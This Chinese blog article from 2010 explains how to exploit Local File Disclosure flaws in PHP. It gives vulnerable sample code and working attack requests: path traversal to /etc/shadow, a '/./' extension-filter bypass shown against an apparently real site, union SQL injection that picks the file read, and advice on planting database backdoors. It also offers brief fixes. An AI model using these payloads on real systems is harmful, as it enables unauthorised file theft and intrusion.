首页 > 代码审计 > 浅谈Local File Disclosure漏洞的利用

浅谈Local File Disclosure漏洞的利用

2010年4月3日   2,147 views 发表评论 阅读评论

浅谈Local File Disclosure漏洞的利用
本文首发黑防1003期,版权归作者和黑防所有,未经允许请勿转载。
hackerxwar [0x50sec]
文件泄露漏洞就是允许我们查看原本不能查看的有权限访问的任意文件文件,如php文件的源代码,保存数据库帐号和密码的连接文件,服务器的帐号信息文件、配置文件,等等。由此导致了严重的安全问题。比如知道了mysql数据库的帐号信息可以尝试登录mysql,或者phpmyadmin等,继而直接into outfile一个shell,或者登录后台;读源代码也使黑盒的测试变成了白盒,更加方便入侵者查找其他漏洞,降低了入侵的难度。

导致文件泄露漏洞的原因和常见利用方法

导致文件泄露漏洞的原因无非就是readfile()、file_get_contents()、fopen()、file()、fgets()、fgetc()
等等文件操作函数的参数检查不严格导致的,此外还有mysql有file_priv权限的load_file()函数等。文件操作函数参数可能是用户直接GPC输入的数据,也可能是数据库里保存的文件路径等。
关于lfd的利用其实就是读文件,常见的有:
如果后台登录密码写在配置文件里,直接读密码进后台
读mysql数据库连接文件,尝试登录mysql或phpmyadmin
对于mysql4.x的版本可以查看表名和数据库名等配合sql注射
读取/etc/passwd文件、数据库密码等等,配合社会工程学尝试登录ftp、网站后台等等
还有就是通过读php文件源代码来挖掘别的漏洞

但是有些情况下读文件也不是很顺利,这里就浅谈一下这些情况,就当抛砖引玉。

1.关于Local File Disclosure爆绝对路径

如果没有加容错语句,display_errors=on默认,请求一个不存在的文件就会得到web路径如:
——————————————-
<?php
//lfd.php

$file = $_GET['file'];
readfile($file);
?>
——————————————-
提交’http://127.0.0.1/lfd.php?file=somenotexistfile’返回结果如下:
——————————————-
Warning: readfile(somenotexistfile) [function.readfile]: failed to open stream: No such file or directory in /var/www/lfd.php on line 4
——————————————-

下面这种情况请求不存在的文件,无法爆出路径。但是请求一个存在的文件但是没有读权限的文件就会爆出路径。如/etc/shadow

存在漏洞文件如下
——————————————-
<?
//lfd2.php

$file=$_GET[file];
$file_dir = “./”; //文件存放位置
if (!file_exists($file_dir.$file)) { //检查文件是否存在
echo “Not Found”;
exit;
}
else
{
readfile($file);
}
?>
——————————————-
提交’http://127.0.0.1/lfd2.php?file=../../../../../../etc/shadow’,返回结果如下:
——————————————-
Warning: readfile(../../../../../../etc/shadow) [function.readfile]: failed to open stream: Permission denied in /var/www/lfd2.php on line 10
——————————————-
此外readfile也可以用来确定一个目录是否存在。
还是http://127.0.0.1/lfd2.php?file=/etc/返回空白,说明存在/etc/目录。提交

http://127.0.0.1/lfd2.php?file=/etcx/就会报错,如下:

——————————————-
Warning: readfile(/etcx/) [function.readfile]: failed to open stream: No such file or directory in /var/www/x.php on line 5
——————————————-
修补:建议关闭display_errors;并且在readfile前加’@'。

2.关于禁止某一类型的文件的读取
——————————————-
<?php
//readfile.php
//禁止读取.php后缀的文件
$file = $_GET['file'];
echo “filename:”.$file.”<br>”;
$hz=explode(“.”,$file);
echo “hz:”.$hz[count($hz)-1].”<br>”;

if(eregi(“php”,$hz[count($hz)-1]))
{
echo “Forbiden!<br>’.php’ file is Not Allowed”;
exit;
}
@readfile($file);
?>
——————————————-
有的程序用类似上面这种方式来禁止读取.php后缀的文件,但是这种过滤其实也是不严格的。
在Windows平台下,提交

http://127.0.0.1/readfile.php?file=readfile.php.或者,如果上面不是用eregi()函数而是ereg()函数,那么file=readfile.phP也可以得到readfile.php的内容,而且在《高级PHP应用程序漏洞审核技术》中80vul介绍了一种文件的特殊字符在windows下的应用,代码如下,文章还介绍了一种include截断,那么在非include的文件操作是不是也适用呢?有兴趣的朋友可以自行测试一下。

———————————-
<?php
for($i=0;$i<255;$i++) {
$url = ’1.ph’.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i).”\r\n”;
}
?>
//我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。
———————————-
然而linux下如何突破呢?在此我介绍一个我发现的小技巧,在文件名的后面加上”/./”,”./”可以是多个如,”/./././”,这样的话。
———————————-
$hz=explode(“.”,$file);
echo “hz:”.$hz[count($hz)-1].”<br>”;
if(eregi(“php”,$hz[count($hz)-1]))
{
echo “Forbiden!<br>’.php’ file is Not Allowed”;
exit;
}
———————————-
后缀的结果就是’/'自然跟php无法匹配,但是可以读取文件也就绕过了检查。
提交:

http://www.bzzyxy.com/admin/readfile.php?file=readfile.php/./

返回
———————————-
filename:readfile.php/./<br>hz:/<br><?php
//readfile.php

$file = $_GET['file'];

echo “filename:”.$file.”<br>”;

$hz=explode(“.”,$file);

echo “hz:”.$hz[count($hz)-1].”<br>”;

if(eregi(“php”,$hz[count($hz)-1]))
{
echo “Forbiden!<br>’.php’ file is Not Allowed”;
exit;
}
@readfile($file);
?>
———————————-
在windows平台同样适用,这个小技巧并不单单在查看文件的时候才可以用,在读写文件的时候都是适用的,比如用在上传上如果检查类似于下面这种形式我们就可以用来绕过对后缀扩展名的检查,事实上像这样的检查还是有很多的,当然这种情况,也有别的绕过方式,比如通过apache、或者iis的文件解析漏洞漏洞等等。
———————————-
$hz=explode(“.”,$file);
if(eregi(“php”,$hz[count($hz)-1]))
{
echo “Forbiden!<br>’.php’ file is Not Allowed”;
exit;
}
———————————-
修补:建议用basename()函数补漏洞

3.与数据库相关的LFD的利用

这里不是说load_file()函数,load_file()函数需要file_priv才能够读文件,这里是说如果readfile等函数的参数是通过数据库查询得来的结果。这种情况下如果我们能够控制那个结果,不需要file_priv权限我们就可以读文件。看下面的例子。
———————————-
<?php
$mysql_server_name=”localhost”; //数据库服务器名称
$mysql_username=”root”; // 连接数据库用户名
$mysql_password=”0×50″; // 连接数据库密码
$mysql_database=”lfd”; // 数据库的名字
$conn=mysql_connect($mysql_server_name, $mysql_username,
$mysql_password);
$sql=’select filepath from lfd where id=’.$_GET['id'];
//echo $sql.”<br>”;
$result=mysql_db_query($mysql_database, $sql, $conn);
$row=mysql_fetch_row($result);
$filepath=$row[0];
//readfile($filepath);
mysql_free_result($result);
mysql_close();
$fileinfo = pathinfo($filepath);
header(‘Content-type: application/x-’.$fileinfo['extension']);
header(‘Content-Disposition: attachment; filename=’.$fileinfo['basename']);
header(‘Content-Length: ‘.filesize($filepath));
readfile($filepath);
exit;

?>
———————————-
数据库中的内容如下:
———————————-
mysql> select * from lfd;
+——+——————–+
| id   | filepath           |
+——+——————–+
|    1 | /var/www/afile.php |
|    2 | /var/www/bfile.php |
+——+——————–+
2 rows in set (0.00 sec)
———————————-
正常情况下我们请求’http://127.0.0.1/lfd.php?id=1′会下载到’/var/www/afile.php’文件的内容。
如果我们通过union select控制sql查询的的结果呢?比如提交
http://127.1/lfd.php?id=-1 union select 0x2f7661722f7777772f6c666473716c2e706870
就会下载到’/var/www/lfdsql.php’文件的内容,而且不用管什么file_priv权限,就可以下载到任意文件。
当然这个lfdsql.php文件是存在sql注射漏洞的,除了利用它读文件的内容我们也可以用来进行常见的sql注射。这里分两种情况,一种是没有容错语句的向上面的情况在display_errors=on(一般默认)的时候fopen函数会将查询的结果报错,直接显示给我们比如在mysql5.x情况下提交(4.x读管理员密码也没有问题,因为我们也可以读文件,自然不怕管理员改表名前缀),提交

http://127.1/lfdsql.php?id=-1%20union%20select%20group_concat(SCHEMA_NAME)%20from%20information_schema.SCHEMATA

返回结果如下
———————————-
<br />
<b>Warning</b>:  filesize() [<a href='function.filesize'>function.filesize</a>]: stat failed for information_schema,db_s2u,lfd,mysql,shitx,sqlin in <b>/var/www/lfdsql.php</b> on line <b>19</b><br />
<br />
<b>Warning</b>:  Cannot modify header information – headers already sent by (output started at /var/www/lfdsql.php:19) in <b>/var/www/lfdsql.php</b> on line <b>19</b><br />
<br />
<b>Warning</b>:  readfile(information_schema,db_s2u,lfd,mysql,shitx,sqlin) [<a href='function.readfile'>function.readfile</a>]: failed to open stream: No such file or directory in <b>/var/www/lfdsql.php</b> on line <b>20</b><br />
——————————————-
这种情况跟一般的传统注射是一样的,我们也可以into outfile一个shell。
另一种情况是把
‘readfile($filepath);’改成’@readfile($filepath);’,或者在前面加入判断文件是否存在的代码,或者display_errors=off就不可以像原来那样注射了,比如;
——————————————-
if (!file_exists($filepath))
{
echo “Not Found”;
exit;
}
——————————————-
有时候有的程序也的确是这么写的,这样我们自然可以想到用盲注。不过这种盲注工具可能还没有吧,手工注射又累人,我们也可以考虑自己写个。这里我们也不需要真的下载这些文件,只需要判断页面头信息的文件长度即可,随文我提供一个简单的用perl写的用于这种情况下的盲注注射工具(lfdsql.pl)。
如果没有sql注射漏洞,但对从数据库查询出来的结果,没有做检查,我们在得到webshell或者mysql操作权限的时候可以用来留后门,就是增加或者修改某id的值指向某一文件(比如config.php的路径).这样即使管理员对我们所有的web后门都清除了也没用,因为我们的后门是留在数据库里的。
修补:略。

  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.